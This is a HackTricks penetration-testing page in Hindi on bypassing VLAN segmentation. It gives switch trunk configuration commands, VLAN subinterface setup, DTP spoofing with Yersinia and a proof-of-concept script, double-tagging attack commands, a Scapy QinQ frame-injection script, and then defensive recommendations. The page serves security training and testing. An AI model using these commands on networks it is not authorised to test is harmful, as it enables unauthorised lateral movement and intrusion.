Lateral VLAN Segmentation Bypass

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यदि स्विच तक सीधा पहुंच उपलब्ध है, तो VLAN विभाजन को बायपास किया जा सकता है। इसमें जुड़े पोर्ट को ट्रंक मोड में फिर से कॉन्फ़िगर करना, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना शामिल है, या तो गतिशील (DHCP) या स्थिर, परिदृश्य के आधार पर (अधिक विवरण के लिए देखें https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

शुरुआत में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से या include मास्क के माध्यम से पोर्ट की खोज करके किया जा सकता है।

यदि CDP कार्यशील नहीं है, तो MAC पते की खोज करके पोर्ट की पहचान करने का प्रयास किया जा सकता है:

SW1(config)# show mac address-table | include 0050.0000.0500

ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ताओं का निर्धारण किया जाना चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।

SW1# show vlan brief

ट्रंक मोड में संक्रमण का अर्थ है इंटरफेस कॉन्फ़िगरेशन मोड में प्रवेश करना:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

ट्रंक मोड में स्विच करने से अस्थायी रूप से कनेक्टिविटी बाधित होगी, लेकिन इसे बाद में बहाल किया जा सकता है।

फिर वर्चुअल इंटरफेस बनाए जाते हैं, VLAN IDs सौंपे जाते हैं, और सक्रिय किए जाते हैं:

bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

इसके बाद, DHCP के माध्यम से एक पता अनुरोध किया जाता है। वैकल्पिक रूप से, उन मामलों में जहां DHCP संभव नहीं है, पतों को मैन्युअल रूप से कॉन्फ़िगर किया जा सकता है:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

इंटरफेस (VLAN 10) पर स्थिर IP पता मैन्युअल रूप से सेट करने का उदाहरण:

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोध शुरू करके किया जाता है।

अंततः, यह प्रक्रिया VLAN विभाजन को बायपास करने की अनुमति देती है, जिससे किसी भी VLAN नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त होती है, और आगे की क्रियाओं के लिए मंच तैयार होता है।


अन्य VLAN-Hopping तकनीकें (कोई विशेषाधिकार प्राप्त स्विच CLI नहीं)

पिछली विधि मानती है कि स्विच पर प्रमाणित कंसोल या Telnet/SSH पहुंच है। वास्तविक दुनिया में, हमलावर आमतौर पर एक सामान्य एक्सेस पोर्ट से जुड़ा होता है। निम्नलिखित लेयर-2 ट्रिक्स अक्सर आपको स्विच OS में लॉग इन किए बिना पार्श्व रूप से पिवट करने की अनुमति देती हैं:

1. स्विच-स्पूफिंग के साथ डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)

Cisco स्विच जो DTP को सक्षम रखते हैं, वे खुशी-खुशी एक ट्रंक पर बातचीत करेंगे यदि समकक्ष यह दावा करता है कि वह एक स्विच है। एकल DTP “desirable” या “trunk” फ्रेम बनाने से एक्सेस पोर्ट को 802.1Q ट्रंक में परिवर्तित किया जाता है जो सभी अनुमत VLANs को ले जाता है।

Yersinia और कई PoCs इस प्रक्रिया को स्वचालित करते हैं:

bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

जब पोर्ट ट्रंक पर स्विच होता है, तो आप 802.1Q उप-इंटरफेस बना सकते हैं और ठीक उसी तरह से पिवट कर सकते हैं जैसे पिछले अनुभाग में दिखाया गया है। आधुनिक Linux कर्नेल अब vconfig की आवश्यकता नहीं रखते; इसके बजाय ip link का उपयोग करें:

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

2. डबल-टैगिंग (नेटीव-VLAN दुरुपयोग)

यदि हमलावर नेटीव (अनटैग्ड) VLAN पर बैठा है, तो दो 802.1Q हेडर वाला एक तैयार किया गया फ्रेम एक दूसरे VLAN में "हॉप" कर सकता है, भले ही पोर्ट एक्सेस मोड में लॉक किया गया हो। VLANPWN DoubleTagging.py (2022-2024 रिफ्रेश) जैसे उपकरण इंजेक्शन को स्वचालित करते हैं:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

Packet walk-through:

  1. बाहरी टैग (1) पहले स्विच द्वारा हटा दिया जाता है क्योंकि यह मूल VLAN से मेल खाता है।
  2. आंतरिक टैग (20) अब उजागर है; फ्रेम VLAN 20 की ओर ट्रंक पर अग्रेषित किया जाता है।

यह तकनीक 2025 में उन नेटवर्क पर काम करती है जो मूल VLAN को डिफ़ॉल्ट पर छोड़ते हैं और बिना टैग वाले फ्रेम स्वीकार करते हैं।

3. QinQ (802.1ad) Stacking

कई उद्यम कोर Q-in-Q सेवा प्रदाता एनकैप्सुलेशन का समर्थन करते हैं। जहां अनुमति है, एक हमलावर सुरक्षा क्षेत्रों को पार करने के लिए एक प्रदाता (S-tag) के अंदर मनमाने 802.1Q-टैग किए गए ट्रैफ़िक को टनल कर सकता है। 802.1ad एथरटाइप 0x88a8 के लिए कैप्चर करें और Scapy के साथ बाहरी टैग को पॉप करने का प्रयास करें:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

Defensive Recommendations

  1. सभी उपयोगकर्ता-फेसिंग पोर्ट पर DTP को निष्क्रिय करें: switchport mode access + switchport nonegotiate
  2. प्रत्येक ट्रंक पर मूल VLAN को एक अप्रयुक्त, ब्लैक-होल VLAN में बदलें और इसे टैग करें: vlan dot1q tag native
  3. ट्रंक पर अनावश्यक VLANs को प्रून करें: switchport trunk allowed vlan 10,20
  4. पोर्ट सुरक्षा, DHCP स्नूपिंग और डायनामिक ARP निरीक्षण को लागू करें ताकि बागी लेयर-2 गतिविधियों को सीमित किया जा सके।
  5. केवल 802.1Q पृथक्करण पर निर्भर रहने के बजाय निजी-VLANs या L3 विभाजन को प्राथमिकता दें।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें